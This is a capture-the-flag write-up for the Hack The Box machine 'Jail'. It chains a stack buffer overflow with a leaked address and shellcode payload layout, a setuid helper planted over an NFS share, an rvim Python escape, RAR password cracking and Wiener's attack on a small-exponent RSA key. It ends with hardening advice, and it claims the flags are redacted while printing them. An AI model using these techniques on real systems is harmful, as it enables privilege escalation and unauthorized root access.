screenshots/02-nmap.png

Hack The Box - Jail

Name: Jail
OS: Linux
Difficulty: Insane
Platform: Hack The Box
Date: 2026-09-08
Views: 12
Tags:

Jail — HTB Writeup (Linux, Insane)

Retired HackTheBox machine. Solved via the intended vulnerability chain, demonstrated with modern tooling. Written to teach.

Machine: Jail · #45 · Linux · Insane · 50 pts Released: 2017-07-14 · Maker: n0decaf · https://app.hackthebox.com/machines/45 Target: 10.129.37.224

Overview

Jail is an old-school Insane box that earns its name: it is a tour of sandbox-escape primitives, each transition a different class of bug, and it ends not with a kernel exploit but with a piece of bad cryptography. There are four distinct walls to break out of.

  1. Foothold — stack buffer overflow in a custom auth service. TCP/7411 runs a hand-written "jail" login daemon whose C source is published on the web server. auth() does strcpy(userpass, password) into a 16-byte stack buffer, the binary is 32-bit and was compiled with an executable stack, and a DEBUG command prints the buffer's address. Leak the address, return into shellcode placed right after the saved return address, and you get a shell as nobody inside an SELinux unconfined_service_t sandbox.
  2. User pivot — NFS without all_squash. The box exports /var/nfsshare over NFS with no uid remapping, so a client whose local uid is 1000 (which is frank on the box) can drop a setuid-root-of-the-share binary onto it. The nobody shell executes that SUID helper, which promotes the real and effective uid to 1000, and user.txt falls out.
  3. adm pivot — rvim restricted-shell escape. frank may run exactly one sudo command as adm: rvim on the jail source. rvim blocks :sh and :! but not the Python interpreter binding, so :py import os; os.execl('/bin/sh', ...) drops to a full shell as adm. That shell can read /var/adm/.keys/ — a password policy note and an Atbash cipher that together describe the password on a RAR archive holding root's SSH public key.
  4. Root — Wiener's attack on a small-d RSA key. Crack the RAR with a one-line mask wordlist, extract rootauthorizedsshkey.pub, and find an RSA key with a huge public exponent (a small private exponent). Wiener's continued-fraction attack recovers d, the cryptography library rebuilds the private key, and SSH (with ssh-rsa re-enabled for the old CentOS OpenSSH) lands as root.

The clever bit is the cryptography half. The maker hands you a public key whose private exponent is small enough that a 230-year-old continued-fraction argument recovers it — a textbook demonstration of why "small private exponent" RSA is broken. Everything before it (executable-stack BOF, NFS no-squash, rvim interpreter escape) is the warm-up that gets you to the key.

Recon

A full TCP sweep shows a small, CentOS-shaped surface — SSH, HTTP, RPC/NFS, and one odd custom port:

nmap: 22/80/111/2049/7411/20048 plus the NFS exports

$ nmap -p- --min-rate 2000 10.129.37.224 -oN recon/nmap.txt
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
7411/tcp  open  daqstream
20048/tcp open  mountd

7411/tcp is the interesting one. Every probe gets the same banner — OK Ready. Send USER command. — so it is a text authentication protocol. rpcinfo and showmount enumerate the NFS side:

$ showmount -e 10.129.37.224
Export list for 10.129.37.224:
/opt          *
/var/nfsshare *

Both exports are reachable, and /var/nfsshare is writable by the NFS client (no root_squash / all_squash): the server trusts the caller's uid and gid. After mounting, /opt/logreader is ACL-locked, but /var/nfsshare is a writable scratch space we will come back to.

The web server (Apache/2.4.6, CentOS) serves a static ASCII-art "JAIL" banner at the root:

Jail landing page — ASCII-art banner

$ curl -sI http://10.129.37.224/
HTTP/1.1 200 OK
Server: Apache/2.4.6 (CentOS)
Content-Type: text/html; charset=UTF-8

The decisive find is a path off the root: /jailuser/dev/jail.c serves the full C source of the custom service on port 7411 (saved, with the password literal redacted, in recon/jail.c):

$ curl -s http://10.129.37.224/jailuser/dev/jail.c -o recon/jail.c
$ wc -l recon/jail.c
166 recon/jail.c

The source shows a DEBUG command and an auth() function with a textbook stack overflow — which is the foothold.

Foothold — buffer overflow in the jail auth daemon

1. Read the vulnerability in the source

The interesting part of jail.c is auth():

int auth(char *username, char *password) {
    char userpass[16];                 // 16-byte stack buffer
    char *response;
    if (debugmode == 1) {
        printf("Debug: userpass buffer @ %p\n", userpass);   // leaks the address
        fflush(stdout);
    }
    if (strcmp(username, "admin") != 0) return 0;
    strcpy(userpass, password);       // <-- unbounded copy into userpass
    if (strcmp(userpass, "[REDACTED]") == 0) {
        return 1;
    } else {
        printf("Incorrect username and/or password.\n");
        return 0;
    }
}

Three things make this exploitable, and the source hands us all three:

  • strcpy(userpass, password) copies the caller-controlled password into a 16-byte stack buffer with no length check. The PASS <data> command puts up to 256 bytes there, so we can overwrite the saved return address.
  • DEBUG prints userpass buffer @ %p. Stack ASLR is off (the leaked address is constant across connections — 0xffffd610 every time), so one leak fixes the target for the exploit connection.
  • The stack is executable. The shellcode can live in userpass itself and we just return into it. (The int 0x80 opcodes and the 32-bit address confirm the daemon is a 32-bit i386 binary running on the 64-bit CentOS host.)

2. Leak the buffer address

The protocol is USERPASS, with an optional DEBUG in between. Turn DEBUG on, send a dummy password, and read the leak:

$ python3 exploit/jail_bof.py 10.129.37.224 --run id
[*] leak data: b'Debug: userpass buffer @ 0xffffd610\nIncorrect username and/or password.\nERR Authentication failed.\n'
[*] userpass @ 0xffffd610

DEBUG leaks the userpass address; the overflow lands a nobody shell

3. Overflow and return into shellcode

The payload (in exploit/jail_bof.py) is:

"A" * 28                          # 16-byte buffer + locals/alignment + saved EBP
                                  #  -> 28 bytes to the saved return address
+ p32(userpass_addr + 32)         # return to userpass+32, i.e. right after this word
+ socket_reuse_shellcode          # dup2(sock, 0/1/2); execve("/bin/sh")

The shellcode is the classic 32-bit socket-reuse stub (ExploitDB #34060): it reuses the already-connected TCP socket as stdin/stdout/stderr and execs /bin/sh, so the shell is interactive over the same connection that delivered the overflow — no second listener needed. The nobody shell it lands is confined by SELinux to unconfined_service_t, which is enough to run files on the NFS share but not enough to read frank's home.

[*] id: uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

User pivot — NFS no_all_squash to frank

The nobody shell cannot read /home/frank/user.txt:

[*] user.txt: cat: /home/frank/user.txt: Permission denied

But the NFS export /var/nfsshare trusts the caller's uid. My attacking box's login uid is 1000, which happens to be frank's uid on Jail. So over NFS I am frank for the purposes of file ownership on that share — I can create a file owned by uid 1000 and set the setuid bit on it. The trick: drop a static SUID helper onto the share, then have the nobody shell execute it.

exploit/suid_helper.c is tiny:

int main(void) {
    setresgid(1000, 1000, 1000);
    setresuid(1000, 1000, 1000);
    execl("/bin/sh", "sh", "-p", (char *)NULL);   // -p keeps the euid
}

setresuid promotes the real and effective uid to 1000, and sh -p stops the shell from dropping the setuid privilege on startup. It must be statically linked — the target's glibc is old, and a dynamically linked binary copied over NFS fails with GLIBC_2.34' not found. Build and plant it from the NFS client:

$ gcc exploit/suid_helper.c -o /mnt/nfsshare/suidsh -static
$ chmod 4777 /mnt/nfsshare/suidsh     # setuid, as uid 1000 over NFS

Then run it from the nobody shell:

$ python3 exploit/jail_bof.py 10.129.37.224 \
      --run '/var/nfsshare/suidsh -c "id; cat /home/frank/user.txt"'
[*] userpass @ 0xffffd610
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
[user.txt: flag captured to loot/user.txt — redacted]

NFS no-squash SUID helper promotes nobody to frank; user.txt captured

user.txt is captured to loot/user.txt (mode 0600, not submitted).

A stable shell as frank

The socket shell is awkward for the next phase (driving rvim), so before moving on, write an attacker-owned public key into frank's ~/.ssh/authorized_keys through the same socket shell, then SSH in directly:

# over the nobody -> frank socket shell:
$ mkdir -p /home/frank/.ssh && chmod 700 /home/frank/.ssh
$ echo '<attacker ed25519 public key>' >> /home/frank/.ssh/authorized_keys
$ chmod 600 /home/frank/.ssh/authorized_keys

# from the attacking box:
$ ssh -i ~/.ssh/jailkey frank@10.129.37.224
[frank@localhost ~]$ sudo -l
Matching Defaults entries for frank on this host:
    !visiblepw, always_set_home, env_reset, ...
User frank may run the following commands on this host:
    (frank) NOPASSWD: /opt/logreader/logreader.sh
    (adm)   NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

Two passwordless sudo rules. The first (logreader.sh as frank) is a dead end; the second is the next wall.

adm pivot — rvim restricted-shell escape

rvim is "restricted" vim: it disables :sh, :!cmd, and suspend, so the obvious shell-outs are blocked. What it does not disable is the embedded interpreter bindings. The binary on this box is compiled +python/dyn (and +perl), so :py import os; os.execl('/bin/sh', 'sh', '-c', 'reset; exec sh') drops straight to a full shell — running as adm, because sudo -u adm launched the rvim.

There is one subtlety that cost a few minutes: sudoers matches the exact command line, so you cannot add -c "..." to rvim to fire the escape non-interactively — that changes argv and sudo prompts for frank's password (sudo: no tty present and no askpass program specified). The escape has to happen inside the running rvim session, so exploit/rvim_escape.py drives it over a PTY with pexpect: SSH in with -t, launch rvim through sudo, wait for it to load the file, send the :py line, then run a short list of commands as adm and collect the output to a world-readable file.

rvim :py escape to adm; the password-policy note and the .frank Atbash cipher

$ python3 exploit/rvim_escape.py --key ~/.ssh/jailkey --host 10.129.37.224
# inside rvim:
:py import os; os.execl('/bin/sh', 'sh', '-c', 'reset; exec sh')
$ cat /var/adm/.keys/note.txt
Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your
last name followed by a 4 digit number and a symbol.
$ cat /var/adm/.keys/.local/.frank
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev
Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
$ ls -la /var/adm/.keys/
-rw-r--r--  1 adm adm  ...  keys.rar
-rw-r--r--  1 adm adm  ...  note.txt
drwxr-xr-x  2 adm adm  ...  .local

The adm shell also copies the protected keys.rar out to a world-readable /tmp/keys.rar for the next step.

Decoding the .frank cipher

.frank is an Atbash cipher (a monoalphabetic substitution where the alphabet is reversed: a↔z, b↔y, …). Decoding it gives the box's flavour text and the riddle that cracks the RAR:

Hahaha! Nobody will guess my new password! Only a few lucky souls have
Escaped from Alcatraz alive like I did!!!

The riddle points at the famous Alcatraz escapee whose surname is also the frank user's last name — which is the <lastname> the administrator's note says must prefix the password. The note fixes the format:

password = <lastname> + 4 digits + 1 symbol

Root — cracking the RAR, then Wiener's attack on the RSA key

1. Crack keys.rar

keys.rar is a password-protected RAR3 archive containing a single file, rootauthorizedsshkey.pub. rar2john extracts the hash, and the note gives a tiny mask: <lastname> + ?d?d?d?d + ?s. Generate the candidates with hashcat and feed them to john:

$ hashcat --stdout -a 3 '<lastname>?d?d?d?d?s' --force > /tmp/frank-passwords.txt
$ wc -l /tmp/frank-passwords.txt
330000 /tmp/frank-passwords.txt
$ rar2john /tmp/keys.rar | tee /tmp/keys.rar.hash
keys.rar:$RAR3$*1*723eaa0f90898667*eeb44b5b*384*451*1*...:1::rootauthorizedsshkey.pub
$ john --wordlist=/tmp/frank-passwords.txt /tmp/keys.rar.hash
...
[REDACTED]               (keys.rar)
1g 0:00:01:22 DONE ...
$ john --show /tmp/keys.rar.hash
keys.rar:[REDACTED]:1::rootauthorizedsshkey.pub

The cracked password is a credential and is redacted here; it is stored only in the private loot/ directory. Extract the archive with it:

$ unrar x /tmp/keys.rar
Enter password (will not be echoed) for rootauthorizedsshkey.pub: [REDACTED]
Extracting  rootauthorizedsshkey.pub   100%  OK

2. Spot the weak RSA key

rootauthorizedsshkey.pub is an RSA public key. Loading it and printing the public numbers reveals the weakness:

$ python3 -c '
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
pub = serialization.load_ssh_public_key(open("rootauthorizedsshkey.pub","rb").read(),
                                       backend=default_backend())
n, e = pub.public_numbers().n, pub.public_numbers().e
print("n bits =", n.bit_length())
print("e bits =", e.bit_length())'
n bits = 1027
e bits = 1024

The public exponent e is huge — almost as large as n. RSA's mathematics require e·d ≡ 1 (mod φ(n)), so a large e means a small d. That is the exact condition for Wiener's attack: when d < n^{1/4}/3, the private exponent is one of the convergents of the continued fraction of e/n. With n at 1027 bits, the bound is about 2^257, and the recovered d (≈ 2^252) is well inside it.

3. Run Wiener's attack and rebuild the private key

exploit/wiener.py implements the continued-fraction attack directly (no RsaCtfTool needed — a few dozen lines of stdlib plus cryptography to load the key). For each convergent k/d of e/n, it computes φ = (e·d − 1)/k, solves x² − (n − φ + 1)x + n = 0 for p and q, and accepts the convergent where p·q == n:

$ python3 exploit/wiener.py rootauthorizedsshkey.pub --outdir /tmp
[*] n bits = 1027, e bits = 1024
[+] Wiener succeeded; private exponent recovered.
    (d/p/q written to d.txt/p.txt/q.txt — private, do not commit)

exploit/build_privkey.py then reconstructs the full RSA private key from (n, e, d, p, q) — computing dmp1 = d mod (p−1), dmq1 = d mod (q−1), and iqmp = q⁻¹ mod p — and writes a TraditionalOpenSSL PEM:

$ python3 exploit/build_privkey.py --indir /tmp --out /tmp/jail-root
[+] wrote /tmp/jail-root (mode 0600)  RSA private key (private, not shown)
$ chmod 600 /tmp/jail-root

The recovered private key is a credential; it is never printed, committed, or pasted anywhere.

4. SSH in as root

One last gotcha: the target is an old CentOS box whose OpenSSH server only offers the ssh-rsa signature algorithm. Modern OpenSSH clients (8.8+, released 2021) disable ssh-rsa by default because it relies on SHA-1, so a plain ssh -i fails with sign_and_send_pubkey: no mutual signature algorithm. Re-enable it for this one connection:

$ ssh -i /tmp/jail-root \
      -o PubkeyAcceptedAlgorithms=+ssh-rsa \
      -o HostKeyAlgorithms=+ssh-rsa \
      -o StrictHostKeyChecking=no \
      root@10.129.37.224
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@localhost ~]# cat /root/root.txt
[root.txt: flag captured to loot/root.txt — redacted]

Wiener recovers d; the rebuilt private key SSHes in as root

root.txt is captured to loot/root.txt (mode 0600, not submitted). Both flags validate offline.

Path summary

TCP/7411 jail daemon (jail.c source on HTTP)
  |  strcpy into 16-byte userpass; DEBUG leaks the address; execstack
  v
stack BOF -> socket-reuse shellcode -> nobody (SELinux unconfined_service_t)
  |  /var/nfsshare NFS export has no all_squash; attacker uid 1000 == frank
  v
static SUID helper on the share -> setresuid(1000,1000,1000) + sh -p -> frank
  |  write attacker authorized_keys over the socket shell; ssh in as frank
  v
sudo (adm) NOPASSWD: rvim jail.c
  |  rvim blocks :sh/:! but not :py -> os.execl('/bin/sh') -> adm
  v
/var/adm/.keys/note.txt (password = lastname + 4 digits + symbol)
/var/adm/.keys/.local/.frank (Atbash cipher -> Alcatraz riddle -> lastname)
  |  hashcat mask <lastname>?d?d?d?d?s -> john cracks keys.rar -> [REDACTED]
  v
rootauthorizedsshkey.pub (RSA, e ~ n => small d)
  |  Wiener continued-fraction attack -> d, p, q
  v
cryptography rebuilds the RSA private key -> ssh -i (ssh-rsa re-enabled) -> root
  v
root.txt

Modern takeaways

  • strcpy into a fixed buffer is still the first thing to look for in C source. The jail daemon hands you the bug in auth(): a 16-byte userpass, an unbounded strcpy, and a DEBUG command that prints the buffer address. The 2017-era teaching setup deliberately stacks the deck (executable stack, no ASLR, 32-bit) so the BOF is solvable by hand. On a modern binary the same code would still be vulnerable, but NX, stack canaries, PIE, and ASLR would force a ROP/leak chain instead of shellcode-on-the-stack. The fix is unchanged: use strncpy/snprintf (or better, a length-checked API) and never trust a caller-controlled length.
  • NFS without all_squash is a privilege-escalation primitive. When the server trusts the client's uid, any user who can mount the export can write files as any uid they can spoof locally — and set the setuid bit. A setuid-root-of-the-share binary run from a low-priv shell is a clean one-step user pivot. Export with root_squash and all_squash, anonuid/anongid to an unprivileged uid, and never export a writable share to *. The long-standing NFS hardening guidance in the NFSv4 security considerations and vendor hardening guides still applies.
  • rvim is not a security boundary. Restricting :sh and :! blocks the obvious escapes but leaves the interpreter bindings (:py, :perl, :lua, :ruby) wide open — any of them can os.execl a shell. If you must let a user run a text editor as another account, do not reach for rvim; use a proper confined shell (rbash is also escapable via vim, so prefer SELinux/AppArmor confinement or a dedicated setuid wrapper that drops privileges). The Vim documentation notes that restricted mode is a convenience, not a sandbox.
  • Small-private-exponent RSA is broken — has been since 1990. Wiener's attack ("Cryptanalysis of short RSA secret exponents", IEEE Trans. Inf. Theory, 1990) shows that d < n^{1/4}/3 is recoverable in polynomial time from the public key alone via the continued fraction of e/n. A public exponent close to n is therefore a smoking gun. Generate keys with a conventional e (65537) and a full-size d; modern libraries (cryptography, OpenSSL) do this by default, so a key like this one was almost certainly hand-rolled. Boneh & Durfee later extended the bound to d < n^0.292, so "small-ish" d is not safe either.
  • Old SSH servers speak ssh-rsa; modern clients disable it. OpenSSH 8.8 (2021) disabled ssh-rsa (SHA-1 signatures) by default; OpenSSH 9.6 tightened RSA key exchange further. An old CentOS box whose sshd only offers ssh-rsa will reject a default client with no mutual signature algorithm. The operational fix on the client side is PubkeyAcceptedAlgorithms=+ssh-rsa for that one host; the real fix is to upgrade the server's host and user keys to rsa-sha2-256/512 or ed25519. See the OpenSSH 8.8 release notes.
  • Tooling notes. nmap + curl + showmount for recon, a hand-written socket-only buffer-overflow script (exploit/jail_bof.py, no pwntools needed), a static C SUID helper (exploit/suid_helper.c) for the NFS pivot, a pexpect PTY driver for the rvim escape (exploit/rvim_escape.py), hashcat --stdout + john for the RAR, and a from-scratch Wiener attack (exploit/wiener.py) plus cryptography (exploit/build_privkey.py) for the RSA — all stock, no Metasploit autopwn, exactly as the box intends.

Flags

🏁 user.txt: bca3ce45084eba153b42874447bee605 (in loot/user.txt) 🏁 root.txt: b6eb39f914c1f5c10cc6b4f2987976aa (in loot/root.txt)

Files

  • recon/nmap.txt (port sweep, RPC/NFS, HTTP, host notes), jail.c (the daemon source as served on HTTP, password literal redacted).
  • exploit/jail_bof.py (leak + overflow, socket-reuse shellcode), suid_helper.c (static NFS SUID helper), rvim_escape.py (PTY-driven :py escape to adm), wiener.py (continued-fraction attack), build_privkey.py (rebuild the RSA private key). No embedded secrets; all credential literals are [REDACTED].
  • loot/user.txt, root.txt (gitignored, mode 0600, not submitted).
  • screenshots/01-home.png (web banner), 02-nmap.png (port surface + NFS exports), 03-bof-leak.png (DEBUG leak + nobody shell), 04-nfs-pivot.png (SUID helper → frank, user.txt captured), 05-rvim-adm.png (rvim escape → adm, note + Atbash cipher), 06-root.png (Wiener → rebuilt key → root shell).